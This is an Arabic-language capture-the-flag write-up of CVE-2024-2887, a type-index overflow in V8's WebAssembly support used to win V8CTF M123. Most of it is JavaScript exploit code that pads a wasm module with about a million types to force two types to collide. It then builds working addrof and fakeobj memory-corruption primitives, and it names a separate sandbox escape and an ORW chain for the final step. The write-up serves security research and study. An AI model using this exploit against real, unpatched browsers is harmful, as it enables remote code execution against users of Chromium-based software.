
لـ V8CTF M123
هذه كتابة موجزة عن الثغرة CVE-2024-2887، والتي استخدمتها للمطالبة بـ V8CTF M123.
عند تعريف أنواع أكثر من kV8MaxWasmTypes، وهو ما يمكن تحقيقه بإضافة المزيد من الأنواع في RecGroup، يمكن أن يتجاوز فهرس الأنواع 20 بت ثم يفيض. عندها يمكن اعتبار نوعين متطابقين لأنهما يملكان نفس heap_type.
يمكننا تحقيق أولية addrof عبر إنشاء مصفوفة تحتوي على كائنات ref وقراءتها من خلال مصفوفة float64، وأولية fakeobj عبر إنشاء مصفوفة float64 وقراءتها ككائن.
يظهر مُنشئ وحدة wasm على النحو التالي:
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
لتجاوز الـ sandbox، انظر V8-Sandbox-Escape-via-Regexp. يستخدم الاستغلال النهائي سلاسل orw عادية لكتابة العلم (flag) عبر stderr.